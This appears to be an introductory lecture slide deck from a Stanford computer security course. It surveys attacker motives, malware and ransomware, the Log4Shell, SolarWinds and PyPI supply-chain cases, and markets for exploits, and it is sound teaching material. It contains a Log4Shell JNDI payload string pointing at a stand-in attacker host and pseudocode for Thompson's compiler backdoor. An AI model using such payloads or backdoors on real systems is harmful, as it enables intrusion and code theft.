CS155

Computer Security

Course overview
• Course web site: https://cs155.Stanford.edu

• Profs: Dan Boneh and Zakir Durumeric

• Three programming projects (pairs) and two written homeworks

• **Project #1 about to be posted. Please attend first section!**

• Use EdDiscussions and Gradescope

• Automatic 72 hour extension
The computer security problem

• Lots of buggy software

• Money can be made from finding and exploiting vulns.

1. Marketplace for exploits (gaining a foothold)

2. Marketplace for malware (post compromise)

3. Strong economic and political motivation for using both current state of computer security
<table>
<thead>
<tr>
<th>Product Name</th>
<th>Vendor Name</th>
<th>Product Type</th>
<th>Number of Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>Debian Linux</td>
<td>Debian</td>
<td>OS</td>
<td>8081</td>
</tr>
<tr>
<td>Android</td>
<td>Google</td>
<td>OS</td>
<td>5083</td>
</tr>
<tr>
<td>Fedora</td>
<td>FedoraProject</td>
<td>OS</td>
<td>4402</td>
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<td>Ubuntu Linux</td>
<td>Canonical</td>
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<td>3949</td>
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<tr>
<td>Linux Kernel</td>
<td>Linux</td>
<td>OS</td>
<td>3110</td>
</tr>
<tr>
<td>Mac Os X</td>
<td>Apple</td>
<td>OS</td>
<td>3101</td>
</tr>
<tr>
<td>Windows 10</td>
<td>Microsoft</td>
<td>OS</td>
<td>3054</td>
</tr>
<tr>
<td>Windows Server 2016</td>
<td>Microsoft</td>
<td>OS</td>
<td>2919</td>
</tr>
<tr>
<td>Iphone Os</td>
<td>Apple</td>
<td>OS</td>
<td>2893</td>
</tr>
<tr>
<td>Chrome</td>
<td>Google</td>
<td>Application</td>
<td>2632</td>
</tr>
</tbody>
</table>

Distribution of exploits used in attacks

Source: Kaspersky Security Bulletin 2021
# A global problem

Top 10 countries by share of attacked users:

<table>
<thead>
<tr>
<th>Country*</th>
<th>%**</th>
</tr>
</thead>
<tbody>
<tr>
<td>1  Ecuador</td>
<td>9.01</td>
</tr>
<tr>
<td>2  France</td>
<td>8.04</td>
</tr>
<tr>
<td>3  Spain</td>
<td>7.30</td>
</tr>
<tr>
<td>4  Vietnam</td>
<td>6.89</td>
</tr>
<tr>
<td>5  Canada</td>
<td>6.81</td>
</tr>
<tr>
<td>6  India</td>
<td>6.45</td>
</tr>
<tr>
<td>7  Italy</td>
<td>6.27</td>
</tr>
<tr>
<td>8  Turkey</td>
<td>6.19</td>
</tr>
<tr>
<td>9  United States</td>
<td>5.91</td>
</tr>
<tr>
<td>10 Mexico</td>
<td>5.60</td>
</tr>
</tbody>
</table>

Source: Kaspersky Security Bulletin 2021
Goals for this course

• Understand exploit techniques
  – Learn to defend and prevent common exploits

• Understand the available security tools

• Learn to architect secure systems
This course

Part 1: **basics**  (architecting for security)
- Securing apps, OS, and legacy code: sandboxing, access control, and security testing

Part 2: **Web security**  (defending against a web attacker)
- Building robust web sites, understand the browser security model

Part 3: **network security**  (defending against a network attacker)
- Monitoring and architecting secure networks.

Part 4: **securing mobile applications**
Don’t try this at home!
Introduction

What motivates attackers?

... economics
Why compromise end user machines?

1. Steal user credentials

keylog for banking passwords, corporate passwords, gaming pwds

Example: SilentBanker (and many like it)

User requests login page

Bank sends login page needed to log in

Malware injects Javascript

When user submits information, also sent to attacker

Adversary-in-the-Browser (AITB)

Similar mechanism used by Zbot, and others
Lots of financial malware

- records banking passwords via keylogger
- spread via spam email and hacked web sites
- maintains access to PC for future installs

### Table

<table>
<thead>
<tr>
<th>Name</th>
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<td>9</td>
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<tr>
<td>10</td>
</tr>
</tbody>
</table>

Source: Kaspersky Security Bulletin 2021
Similar attacks on mobile devices

Example: FinSpy.

- Works on **iOS and Android** (and Windows)
- once installed: collects contacts, call history, geolocation, texts, messages in encrypted chat apps, ...
- **How installed?**
  - Android pre-2017: links in SMS / links in E-mail
  - iOS and Android post 2017: physical access
## Why own machines: 2. Ransomware

<table>
<thead>
<tr>
<th>Name</th>
<th>% of attacked users**</th>
</tr>
</thead>
<tbody>
<tr>
<td>WannaCry</td>
<td>7.71</td>
</tr>
<tr>
<td>Locky</td>
<td>6.70</td>
</tr>
<tr>
<td>Cerber</td>
<td>5.89</td>
</tr>
<tr>
<td>Jaff</td>
<td>2.58</td>
</tr>
<tr>
<td>Cryrar/ACCDFISA</td>
<td>2.20</td>
</tr>
<tr>
<td>Spora</td>
<td>2.19</td>
</tr>
<tr>
<td>Purgen/GlobelImposter</td>
<td>2.11</td>
</tr>
<tr>
<td>Shade</td>
<td>2.06</td>
</tr>
<tr>
<td>Crysis</td>
<td>1.25</td>
</tr>
<tr>
<td>CryptoWall</td>
<td>1.13</td>
</tr>
</tbody>
</table>

- Worm spreads via a vuln. in SMB (port 445)
- Apr. 14, 2017: Eternalblue vuln. released by ShadowBrokers
- May 12, 2017: Worm detected (3 weeks to weaponize)
WannaCry ransomware attack

Oops, your files have been encrypted!

What Happened to My Computer?
Your important files are encrypted. Many of your documents, photos, videos, databases and other files are no longer accessible because they have been encrypted. Maybe you are busy looking for a way to recover your files, but do not waste your time. Nobody can recover your files without our decryption service.

Can I Recover My Files?
Sure. We guarantee that you can recover all your files safely and easily. But you have not so enough time. You can decrypt some of your files for free. Try now by clicking <Decrypt>. But if you want to decrypt all your files, you need to pay.
You only have 3 days to submit the payment. After that the price will be doubled. Also, if you don't pay in 7 days, you won't be able to recover your files forever.
We will have free events for users who are so poor that they couldn't pay in 6 months.

How Do I Pay?
Payment is accepted in Bitcoin only. For more information, click <About bitcoin>. Please check the current price of Bitcoin and buy some bitcoins. For more information, click <How to buy bitcoins>.
And send the correct amount to the address specified in this window.
After your payment, click <Check Payment>. Best time to check is Monday to Friday 11:00am GMT.

Send $300 worth of bitcoin to this address:

115p7UMMnoj1pMvgpHjicRdfJNXj6LrLn

Contact Us

Check Payment
Decipher
Why own machines: 3. Bitcoin Mining

# affected users

Examples:
1. Trojan.Win32.Miner.bbb
2. Trojan.Win32.Miner.ays
3. Trojan.JS.Miner.m
4. Trojan.Win32.Miner.gen

Source: Kaspersky Security Bulletin 2021
More devastating: server-side attacks

(1) **Data theft**: credit card numbers, intellectual property
   - Example: Equifax (July 2017), \( \approx \) 143M “customer” data impacted
     - Exploited known vulnerability in Apache Struts (RCE)
   - Many many similar attacks since 2000

(2) **Political motivation**:
   - Election: attack on DNC (2015),

(3) Infect visiting users
Result: many server-side Breaches

Typical attack steps:

- Reconnaissance
- Foothold: initial breach
- Internal reconnaissance
- Lateral movement
- Data extraction
- Exfiltration

Security tools available to try and stop each step (**kill chain**) will discuss tools during course … but no complete solution
Case study 1: Log4Shell  (2021)

Log4j: a popular logging framework for Java

- Nov. 21: vulnerability in Log4j 2 enables Remote Code Execution
- Over 7000 code repositories affected and many Java projects

The bug: Log4j can load and run code to process a log request

<table>
<thead>
<tr>
<th>attacker</th>
<th>victim</th>
</tr>
</thead>
<tbody>
<tr>
<td>message containing: ${jndi:ldap://attacker.com}</td>
<td>log.info(&quot;... ${jndi:ldap://attacker.com}...&quot;)</td>
</tr>
<tr>
<td>LDAP query then HTTP GET</td>
<td>execute code</td>
</tr>
<tr>
<td>Malicious Java code</td>
<td></td>
</tr>
</tbody>
</table>

Dan Boneh
The result

How was this exploited?
• Khonsari ransomware
• XMRIG Cryptominer
• Orcus Remote Access Trojan

How to prevent problems of this type?
• Isolation: sandbox log4j library or sandbox entire application
Case study 2: SolarWinds Orion (2020)

SolarWinds Orion: set of monitoring tools used by many orgs.

What happened?

Attack (Feb. 20, 2020): attacker corrupts SolarWinds software update process

Large number of infected orgs ... not detected until Dec. 2020.
Sunspot: malware injection

How did attacker corrupt the SolarWinds build process?

• **taskhostsvc.exe** runs on SolarWinds build system:
  – monitors for processes running **MsBuild.exe** (MS Visual Studio),
  – if found, read *cmd line args* to test if Orion software being built,
  – if so:
    • replace file *InventoryManager.cs* with malware version
      (store original version in *InventoryManager.bk*)
    • when MsBuild.exe exits, restore original file ... no trace left

How can an org like SolarWinds detect/prevent this ???
The fallout ...

Large number of orgs and govt systems exposed for many months

More generally: a supply chain attack

• Software, hardware, or service supplier is compromised
  ⇒ many compromised customers

• Many examples of this in the past (e.g., Target 2013, ...)

• Defenses?
Case study 3: typo squatting

**pip**: The package installer for Python

Usage: python -m pip install ‘SomePackage>=2.3’ # specify min version

- By default, installs from **PyPI**:
  - The Python Package Index (at pypi.org)
- PyPI hosts over 300,000 projects

Security considerations?
Security considerations: dependencies

Every package you install creates a dependence:

- Package maintainer can inject code into your environment
- Supply chain attack:
  attack on package maintainer $\Rightarrow$ compromise dependent projects

Many examples:

<table>
<thead>
<tr>
<th>Package Name</th>
<th>Maintainer</th>
<th>Payload</th>
</tr>
</thead>
<tbody>
<tr>
<td>noblesse</td>
<td>xin1111</td>
<td>Discord token stealer, Credit card stealer (Windows-based)</td>
</tr>
<tr>
<td>genesisbot</td>
<td>xin1111</td>
<td>Same as noblesse</td>
</tr>
<tr>
<td>aryi</td>
<td>xin1111</td>
<td>Same as noblesse</td>
</tr>
<tr>
<td>suffer</td>
<td>suffer</td>
<td>Same as noblesse, obfuscated by PyArmor</td>
</tr>
</tbody>
</table>

https://jfrog.com/blog/malicious-pypi-packages-stealing-credit-cards-injecting-code/
Security considerations: typo-squatting

The risk: malware package with a similar name to a popular package
  ⇒ unsuspecting developers install the wrong package

Examples:

- **urllib3**: a package to parse URLs.
  Malware package: **urllib3**

- **python-nmap**: net scanning package.
  Malware package: **nmap-python**

From 2017-2020:

- 40 examples on PyPI of malware typo-squatting packages
  [Meyers-Tozer’2020]
Introduction

The Marketplace for Vulnerabilities
Marketplace for Vulnerabilities

Option 1: bug bounty programs (many)
• Google Vulnerability Reward Program: up to $31,337
• Microsoft Bounty Program: up to $100K
• Apple Bug Bounty program: up to $200K
• Stanford bug bounty program: up to $1K
• Pwn2Own competition: $15K
Google’s bug bounty program

Welcome to Google's Bug Hunting community

We're an international group of Bug Hunters keeping Google products and the Internet safe and secure.

REPORT A SECURITY VULNERABILITY

https://bughunters.google.com/

<table>
<thead>
<tr>
<th>Category</th>
<th>Examples</th>
<th>Applications that permit taking over a Google account [1]</th>
</tr>
</thead>
<tbody>
<tr>
<td>Vulnerabilities giving direct access to Google servers</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Remote code execution</td>
<td>“Command injection, deserialization bugs, sandbox escapes”</td>
<td>$31,337</td>
</tr>
<tr>
<td>Unrestricted filesystem or database access</td>
<td>“Unsandboxed XXE, SQL injection”</td>
<td>$13,337</td>
</tr>
<tr>
<td>Logic flaws bugs leaking or bypassing significant security controls</td>
<td>“Direct object reference, remote user impersonation”</td>
<td>$13,337</td>
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Marketplace for Vulnerabilities

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- Pwn2Own competition: $15K

Option 2:
- Zerodium: up to $2M for iOS, $2.5M for Android (since 2019)
- ... many others
Marketplace for Vulnerabilities

RCE: remote code execution
LPE: local privilege escalation
SBX: sandbox escape

Source: Zerodium payouts
**Marketplace for Vulnerabilities**

<table>
<thead>
<tr>
<th>Payout Range</th>
<th>Platforms</th>
<th>Example Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>Up to $2,500,000</td>
<td>Any OS</td>
<td>WhatsApp RCE+LPE Zero Click</td>
</tr>
<tr>
<td></td>
<td></td>
<td>iMessage RCE+LPE Zero Click</td>
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<tr>
<td></td>
<td></td>
<td>Safari RCE+LPE</td>
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<tr>
<td></td>
<td></td>
<td>Chrome RCE+LPE</td>
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<tr>
<td></td>
<td></td>
<td>Telegram RCE+LPE</td>
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<td></td>
<td></td>
<td>Signal RCE+LPE</td>
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<td></td>
<td></td>
<td>FB Messenger RCE+LPE</td>
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<tr>
<td></td>
<td></td>
<td>iMessage RCE+LPE Zero Click</td>
</tr>
<tr>
<td>Up to $2,000,000</td>
<td>Android</td>
<td>WhatsApp RCE+LPE Zero Click</td>
</tr>
<tr>
<td></td>
<td></td>
<td>iMessage RCE+LPE Zero Click</td>
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<td>Safari RCE+LPE</td>
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<td>Chrome RCE+LPE</td>
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<td></td>
<td></td>
<td>Telegram RCE+LPE</td>
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<tr>
<td></td>
<td></td>
<td>Signal RCE+LPE</td>
</tr>
<tr>
<td>Up to $1,500,000</td>
<td>Android, iOS</td>
<td>WhatsApp RCE+LPE Zero Click</td>
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<td>Up to $200,000</td>
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<tr>
<td></td>
<td></td>
<td>Chrome RCE+LPE</td>
</tr>
</tbody>
</table>

**Source:** Zerodium payouts

RCE: remote code execution  
LPE: local privilege escalation  
SBX: sandbox escape
Temporary bounties

Bounty: Up to $400,000

Start Date: 27 January 2022

End Date: TBD

Microsoft Outlook RCE

We are temporarily increasing our payout for Microsoft Outlook RCEs from $250,000 to $400,000. We are looking for zero-click exploits leading to remote code execution when receiving/downloading emails in Outlook, without requiring any user interaction such as reading the malicious email message or opening an attachment. Exploits relying on opening/reading an email may be acquired for a lower reward.

https://zerodium.com/temporary.html
## Why buy 0days?

**How the acquired security research is used by ZERODIUM?**

ZERODIUM extensively tests, analyzes, validates, and documents all acquired vulnerability research and reports it, along with protective measures and security recommendations, solely to its clients subscribing to the **ZERODIUM Zero-Day Research Feed**.

**Who are ZERODIUM's customers?**

ZERODIUM customers are government organizations (mostly from Europe and North America) in need of advanced zero-day exploits and cybersecurity capabilities.

[https://zerodium.com/faq.html](https://zerodium.com/faq.html)
Ken Thompson’s clever Trojan

Turing award lecture

(CACM Aug. 1984)

What code can we trust?
What code can we trust?

Can we trust the “login” program in a Linux distribution? (e.g. Ubuntu)

- No! the login program may have a backdoor
  - records my password as I type it

- Solution: recompile login program from source code

Can we trust the login source code?

- No! but we can inspect the code, then recompile
Can we trust the compiler?

No! Example malicious compiler code:

```c
compile(s) {
    if (match(s, "login-program")) {
        compile("login-backdoor");
        return
    }
    /* regular compilation */
}
```
What to do?

**Solution:** inspect compiler source code, then recompile the compiler

**Problem:** C compiler is itself written in C, compiles itself

What if compiler binary has a backdoor?
Thompson’s clever backdoor

**Attack step 1:** change compiler source code:

```cpp
compile(s) {
    if (match(s, "login-program")) {
        compile("login-backdoor");
        return
    }
    if (match(s, "compiler-program")) {
        compile("compiler-backdoor");
        return
    }
    /* regular compilation */
}
```
Thompson’s clever backdoor

**Attack step 2:**
- Compile modified compiler $\Rightarrow$ compiler binary
- Restore compiler source to original state

Now: inspecting compiler source reveals nothing unusual

... but compiling compiler gives a corrupt compiler binary

Complication: compiler-backdoor needs to include all of (*)
What can we trust?

I order a laptop by mail. When it arrives, what can I trust on it?

• Applications and/or operating system may be backdoored
  ⇒ solution: reinstall OS and applications

• How to reinstall? Can’t trust OS to reinstall the OS.
  ⇒ Boot Tails from a USB drive (Debian)

• Need to trust pre-boot BIOS, UEFI code. Can we trust it?
  ⇒ No! (e.g. ShadowHammer operation in 2018)

• Can we trust the motherboard? Software updates?
So, what can we trust?

Sadly, nothing ... anything can be compromised

- but then we can’t make progress

**Trusted Computing Base (TCB)**

- Assume some minimal part of the system is not compromised
- Then build a secure environment on top of that

will see how during the course.
Next lecture: control hijacking vulnerabilities

THE END